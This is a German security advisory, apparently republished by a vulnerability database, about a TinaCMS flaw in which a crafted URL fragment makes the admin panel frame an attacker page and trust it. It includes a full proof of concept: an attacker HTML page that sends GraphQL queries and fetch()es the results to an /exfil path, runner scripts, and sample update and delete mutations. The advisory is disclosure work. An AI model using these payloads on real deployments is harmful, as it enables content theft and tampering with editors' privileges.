TinaCMS: Admin-Vorschau-iFrame lädt angreifergesteuerte Herkunft aus dem URL-Fragment
Zusammenfassung
Das TinaCMS-Admin-Panel erstellt sein Vorschau-<iframe src> aus dem /~/* Hash-Router-Splat, ohne zu verifizieren, dass der Wert Same-Origin bleibt. Ein Fragment mit einem doppelten Schrägstrich (#/~//attacker.example/p) wird zu der protokollrelativen URL //attacker.example/p, wodurch das Admin-Panel eine externe Website einbettet. Dieselbe unvalidierte Zeichenkette bestimmt expectedOrigin, den einzigen Trust-Anchor für den Admin↔Vorschau-postMessage-Kanal. Dadurch wird der Frame des Angreifers als vertrauenswürdig eingestuft: Er kann beliebige GraphQL-Operationen senden, welche das Admin-Panel mit dem Token des angemeldeten Redakteurs ausführt und an die Herkunft (Origin) des Angreifers zurücksendet.
Ein einziger Link, der von einem angemeldeten Redakteur geöffnet wird, ermöglicht einem nicht authentifizierten Remote-Angreifer beliebigen Lese- und Schreibzugriff auf die Content-API der Website mit den Rechten dieses Redakteurs.
Details
Ursache – Das Router-Splat wird ohne Same-Origin-Prüfung zur Frame-Quelle:
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
Das führende / soll eigentlich einen relativen Pfad erzwingen, aber react-router-dom@6.30.3 gibt das Splat mit einem eigenen führenden Schrägstrich für /~//x zurück, was //x ergibt. Das iFrame besitzt kein sandbox-Attribut und das Admin-Bundle liefert keine CSP aus.
Der Vertrauensanker wird anschließend aus demselben Wert berechnet:
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
Beide Sicherheitsprüfungen schlagen für den Angreifer an: event.origin ist expectedOrigin, und event.source ist der Frame, den das Admin-Panel selbst geladen hat.
Der URL-Korrektur-Abruf von PreviewInner (packages/tinacms/src/admin/index.tsx:189-200) stellt den Frame nicht wieder her: Das herkunftsübergreifende Lesen von ref.current.contentWindow.location.href löst einen nicht abgefangenen SecurityError aus, sodass setReportedURL niemals ausgelöst wird und keine korrigierende navigate() stattfindet. Der unten stehende PoC enthält diesen Effekt wortwörtlich und der Angriff ist dennoch erfolgreich.
Senke – Die GraphQL-Zeichenkette des Angreifers erreicht den authentifizierten Client und das Ergebnis wird an den Angreifer zurückgesendet:
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) ist operationsunabhängig, sodass Mutationen unverändert durchgereicht werden.
Standardmäßig aktiviert: packages/@tinacms/app/src/App.tsx:70 übergibt immer preview={Preview}, und packages/tinacms/src/admin/index.tsx:327 registriert /~/*, wann immer preview wahrheitsgemäß (truthy) ist – die Route existiert also in jeder tinacms build-Ausgabe sowie in tinacms dev.
Hinweis zur unvollständigen Behebung: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) fügte die senderseitige Origin-Prüfung hinzu, validierte jedoch nie die URL, mit der diese Prüfung abgleicht.
Grundlage des betroffenen Bereichs: Getestet wurde nur tinacms@3.12.1 / @tinacms/app@2.5.12 (Commit 0d38acf). Die Bereiche werden als <= angegeben, da die verwundbaren Zeilen in jedem verfügbaren Commit Byte-identisch sind – ein Shallow-Clone mit 123 Commits, frühester 8a86ffa (2026-06-26), welcher vor dem Härtungs-Release 3.9.3 liegt. Tags wurden jedoch nicht abgerufen und frühere Releases nicht getestet, weshalb die genaue Untergrenze unbestimmt ist.
Vorgeschlagener Fix: Das Splat vor der Zuweisung an url zu einem Same-Origin-Pfad normalisieren (ein führendes / oder \ ablehnen) und sicherstellen, dass getExpectedPreviewOrigin jeden Origin außer window.location.origin ablehnt.
PoC
Sicher, lokal und zerstörungsfrei. Zwei Loopback-Origins stehen stellvertretend für die Website und den Angreifer; es verlässt kein Datenverkehr das System und es wird keine Content-API kontaktiert. Die Opferseite nutzt preview-origin.ts aus dem Repository Byte für Byte und reproduziert PreviewInner/Preview Zeile für Zeile aus den angegebenen Dateien; cms.api.tina.request ist als Stub implementiert und gibt einen Marker zurück, sodass kein echtes Backend angesprochen wird.
Verwendete Umgebung: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) gesteuert durch playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
victim/admin.tsx – PreviewInner aus packages/tinacms/src/admin/index.tsx:170-210, Preview aus packages/@tinacms/app/src/preview.tsx:10-26 und die vier graphql-reducer.ts-Schritte (:209-212, :548-556, :613-624 + :973-978, :497-505):
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('expectedOrigin derived from preview url', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('ACCEPTED "open" message from', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('posted query result to', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
useGraphQLReducer(props.iframeRef, props.url);
return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24
};
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState<string | null>(null);
const ref = React.useRef<HTMLIFrameElement>(null);
const paramURL = `/${params['*']}`;
React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
React.useEffect(() => { // admin/index.tsx:189-200
setInterval(() => {
if (ref.current) {
const url = new URL(ref.current.contentWindow?.location.href || '');
if (url.origin === 'null') { return; }
const href = url.href.replace(url.origin, '');
setReportedURL(href);
}
}, 100);
}, [ref.current]);
React.useEffect(() => {
log('iframe src computed from router splat', { "params['*']": params['*'], url });
(window as any).__poc_iframeSrc = url;
}, [url]);
const PreviewCmp = preview;
return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};
createRoot(document.getElementById('root')!).render(
<Router>
<Routes>
<Route path='/~/*' element={<PreviewInner preview={Preview} />} /> {/* admin/index.tsx:329 */}
<Route path='/' element={<div>admin dashboard</div>} />
</Routes>
</Router>
);
victim/index.html:
<!doctype html><html><head><title>TinaCMS admin (repro)</title></head>
<body><div id="root"></div><script type="module" src="/admin.js"></script></body></html>
attacker/evil.html:
<!doctype html><html><body>
<h1>attacker-controlled page framed by the TinaCMS admin</h1>
<script>
parent.postMessage({ type: 'open', id: 'poc-1',
query: 'query { collection(collection: "authentication") { documents { edges { node { ... on Document { _values } } } } } }',
variables: {}, data: {} }, '*');
window.addEventListener('message', (e) => {
if (e.data && e.data.type === 'updateData') {
fetch('/exfil?data=' + encodeURIComponent(JSON.stringify(e.data.data)), { mode: 'no-cors' });
}
});
</script></body></html>
run.cjs – Liefert beide Origins aus, protokolliert jede Anfrage an den Angreifer-Server und führt ein Kontroll-Fragment sowie das präparierte Fragment aus:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
if(onHit)onHit(req.method+' '+u.pathname+u.search);
if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
for(const scenario of ['control','attack']){attackerHits.length=0;
const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
page.on('console',m=>logs.push(m.text()));
const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
results[scenario]={hash,
iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
framesLoaded:page.frames().map(f=>f.url()),
attackerServerHits:[...attackerHits],
victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
await ctx.close();}
await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();
Ausführung
cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
--loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs
Beobachtete Ausgabe (wörtlich erfasst)
{
"control": {
"hash": "#/~/posts/hello-world",
"iframeSrc": "/posts/hello-world",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~/posts/hello-world",
"http://127.0.0.1:8801/posts/hello-world"
],
"attackerServerHits": [],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
]
},
"attack": {
"hash": "#/~//127.0.0.1:8802/evil.html",
"iframeSrc": "//127.0.0.1:8802/evil.html",
"expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
"framesLoaded": [
"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
"http://127.0.0.1:8802/evil.html"
],
"attackerServerHits": [
"GET /evil.html",
"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
],
"victimConsole": [
"[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
"[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
"[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
"[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
"[victim] posted query result to \"http://127.0.0.1:8802\""
]
}
}
Erwartete verwundbare Ausgabe – in attack: iframeSrc protokollrelativ, expectedOriginTrustedByAdmin entspricht der Herkunft des Angreifers, ein vom Angreifer ausgelieferter Frame sowie sowohl GET /evil.html als auch GET /exfil?data=... auf dem Angreifer-Server. Alles traf zu.
Kontrolle – #/~/posts/hello-world belässt den Frame Same-Origin, belässt expectedOrigin auf der Opfer-Herkunft und erzeugt null Treffer beim Angreifer. Das ist das Verhalten, das das präparierte Fragment nach einem Fix ebenfalls zeigen sollte.
Ergänzende Prüfung – Mutationen des Angreifers überstehen expandQuery und validieren gegen ein echtes Tina-Schema
mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
READ: `query { movieConnection { edges { node { _values } } } }`,
MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
const errs = G.validate(schema, G.parse(printed));
console.log(`--- ${n} ---`);
console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs
Beobachtete Ausgabe:
--- READ ---
survives expandQuery + validates against the real Tina schema: true
operation kept: query
--- MUTATE_UPDATE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
--- MUTATE_DELETE ---
survives expandQuery + validates against the real Tina schema: true
operation kept: mutation
Ergänzende Prüfung – Verhalten des Router-Splats
mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
const s = matchPath({ path: '/~/*' }, p)?.params['*'];
console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs
Beobachtete Ausgabe:
"/~/posts/hello" => params["*"] = "posts/hello" => url = "/posts/hello"
"/~//evil.example" => params["*"] = "/evil.example" => url = "//evil.example"
"/~/%2F%2Fevil.example" => params["*"] = "//evil.example" => url = "///evil.example"
Umfang des Nachweises: Hier ausgeführt und beobachtet: das protokollrelative url, das Laden des herkunftsübergreifenden Frames, die Übernahme der Angreifer-Herkunft als expectedOrigin, die Verarbeitung der Nachricht des Angreifers durch das originale isFromTrustedPreviewOrigin des Repositorys, das Erreichen der Anfragefunktion durch den Operation-String des Angreifers, die Zustellung der Antwort an die Angreifer-Herkunft und die Validierung von Mutationen des Angreifers gegen ein im Repository bereitgestelltes generiertes Schema. Nicht ausgeführt: ein Aufruf gegen ein aktives TinaCloud- oder selbst gehostetes Backend – cms.api.tina.request wurde absichtlich gestubbt, damit der PoC keine externen Dienste kontaktiert und keine Daten schreibt.
Bereinigung
rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr
Alle drei PoCs wurden nach Erstellung dieses Berichts erneut ausgeführt; die obigen Ausgaben stammen aus diesen Durchläufen.
Auswirkungen
Ein Fehler bei der Origin-Validierung führt zu einem Confused-Deputy-Missbrauch der Content-API. Ein unauthentifizierter Remote-Angreifer muss lediglich dafür sorgen, dass ein angemeldeter TinaCMS-Redakteur einen Link öffnet – die Payload befindet sich im URL-Fragment und erreicht somit niemals den Server oder dessen Protokolle. Der Angreifer kann anschließend alles lesen, was der Redakteur lesen kann (einschließlich der authentication-Sammlung mit PBKDF2-Passworthashes bei selbst gehosteten Umgebungen), und jede Mutation durchführen, die der Redakteur ausführen kann (updateDocument, createDocument, deleteDocument). Die Ergebnisse werden an die eigene Herkunft des Angreifers gesendet. Dabei werden zwei Sicherheitsgrenzen überschritten: die Same-Origin-Policy des Browsers und die Autorisierung der Content-API.
Betroffen: Jedes Deployment, das das TinaCMS-Admin-Bundle ausliefert (tinacms build-Ausgabe oder tinacms dev). Keine Konfiguration deaktiviert die Route /~/*.
Danksagung
- Thai Son Dinh von VinSOC Labs (R&D)
Was zu tun ist
Aktualisieren Sie die Pakete tinacms auf Version 3.14.0 oder höher und @tinacms/app auf Version 2.5.14 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
Verweise
- https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7
- https://github.com/tinacms/tinacms/pull/7522
- https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14
- https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N- Schwäche (CWE)
CWE-346, CWE-441, CWE-601- Plattform
- npm
- Paket
tinacms, @tinacms/app- Veröffentlicht
- 09.10.2026
- Aktualisiert
- 11.10.2026 10:29
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-x34j-47hf-4xg7 - CC BY 4.0
Schwachstellenhistorie: tinacms
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 5
- Erste → letzte
- 12.2025 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 3
- Mittel 1
Veröffentlichungen pro Jahr
- 2025: 1
- 2026: 4
-
TinaCMS: Admin-Vorschau-iFrame lädt angreifergesteuerte Herkunft aus dem URL-Fragment dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.